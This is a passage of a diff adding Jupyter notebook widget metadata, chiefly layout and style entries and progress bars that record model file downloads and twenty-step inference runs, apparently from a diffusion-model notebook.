+            "layout": "IPY_MODEL_f16aa25f9d2b49cc87cde26cf7dc316f",
+            "max": 1445157124,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a263feafcec44c2eab4150af170d670a",
+            "value": 1445157124
+          }
+        },
+        "6055afd2e29c42e09d5f923c34cf1579": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "60ebb0e8c1174c839a26182b38d4ae9b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "611bde262a924746a253ab5481b9b212": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7267e3d447ef4dfa97c3fc6a560ea797",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2bc90ab8db7b4f979ff0cb5eb01284a6",
+            "value": " 335M/335M [00:04&lt;00:00, 82.3MB/s]"
+          }
+        },
+        "61e2139115904b94967c220fd214b5df": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_847b736c058c47f9adf366c4bb920a0d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_a1b45d2ecbe44a158b7a0e2f818922ae",
+            "value": "Downloading (…)_encoder/config.json: 100%"
+          }
+        },
+        "6224c6c1d4b145ed86564e7d62fbe4c2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "629f9b2f0b79420ba0baeb5961df73da": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "633f3db9f5dd4f6984aa821a1717c03b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_697d6a7fa4ee4d37bb80d624ffedf526",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c87c97a9ed4b493c8d6df7d11b1684ca",
+            "value": "Downloading (…)_encoder/config.json: 100%"
+          }
+        },
+        "635b3c726b5049818d8384ad992e2550": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "636973b7927b44bbaac28737227e7599": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "64180e5dd63840e3bb21af7aefa3cf45": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c7b630dc7b8448219ca505398c12afef",
+            "placeholder": "​",
+            "style": "IPY_MODEL_81f9fd794d22477f8836a11322d5325b",
+            "value": "Downloading (…)ain/model_index.json: 100%"
+          }
+        },
+        "645ebe129fd544a4b9383dfc1414cf0a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b539338d7bf84f50a8c57f90986a8d9a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d16de73052ac42e8a8065d4dc54ebe51",
+            "value": " 20/20 [00:10&lt;00:00,  4.01it/s]"
+          }
+        },
+        "64e440c8c82144beaec1e1d61cd5e9e0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_64180e5dd63840e3bb21af7aefa3cf45",
+              "IPY_MODEL_abb332369a9b4996b84d77eee7e5dc0a",
+              "IPY_MODEL_e69330feb37747c5b22d4dd215f934bd"
+            ],
+            "layout": "IPY_MODEL_41cb4b504f3e45ea847e1cd74ae449d0"
+          }
+        },
+        "65de6855b9944b829c4aa77bce39009f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "66f7c6f267864c929727fd96a83e6d06": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "67768915a19a448c94620204f861d005": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7699034aeb584f12864aaa30a7f2e6b5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_0762e7a5efb84a4b9bf60c5cf3235671",
+            "value": " 20/20 [00:08&lt;00:00,  7.50it/s]"
+          }
+        },
+        "67f164f2226d430eb0c2cd3c63d14368": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "681be606b86c42fd9cad68e63e2782de": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "682a337dc14e48908be4cf40f7320d1f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "6846be1897c64311a10d421483131bf9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_147cd6ad4d4c4fca82a7a531684ffd2a",
+              "IPY_MODEL_6f88f6e516064ed1a82e1d69742d324c",
+              "IPY_MODEL_9998dc803aec438ab2bbdcb1edb8ab4e"
+            ],
+            "layout": "IPY_MODEL_67f164f2226d430eb0c2cd3c63d14368"
+          }
+        },
+        "697d6a7fa4ee4d37bb80d624ffedf526": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6b872da2a0944f5da6eb68792937311b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6ba872bd45c34e6c8202cc3722dc9285": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6c0b26e65230468cb5ef11d3d0bf1bd3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f48bc2b8666b4e48a6f8cad4cda2530d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_29e96ee99a714e2c86a0d68be1a31055",
+            "value": " 20/20 [00:07&lt;00:00,  2.93it/s]"
+          }
+        },
+        "6c353682d9d64022a11f31357816f14d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6c6f19d716d2410b813e32f3b051619a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6ca7d8cb9ad2472bad727eba7c993816": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6ca84bcd6bea4a92a80d50351aa1be4f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_87fcb7d5949d440dbe3c18e7059e65ad",
+            "placeholder": "​",
+            "style": "IPY_MODEL_173d85b54dd4419883fc83cfa2beacc5",
+            "value": "Downloading (…)8e6a/vae/config.json: 100%"
+          }
+        },
+        "6d699038776e4fad8bb74d2381109b65": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6d8e99610d624a09a53ef0c77b3f0c25": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6da0c63935ac4ee4bfe6a6efbedfa93d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e57b840c4d3c4abcae1b69b189701c72",
+            "placeholder": "​",
+            "style": "IPY_MODEL_304e7a7a38834b3093002b6694c7cb67",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "6e14135b00e447c18a0a693d47f5c92b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8119e3c1840d4e0b975055cb0c255208",
+            "max": 1445157124,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ad785ec6b7924f2ebcdf0957a16c656d",
+            "value": 1445157124
+          }
+        },
+        "6e327baf7a9144fcaff7c6317d018862": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6e7d3e445440469baa5aaab1cbbb9291": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6e89b30bfcd04f1ebc77492eae365847": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
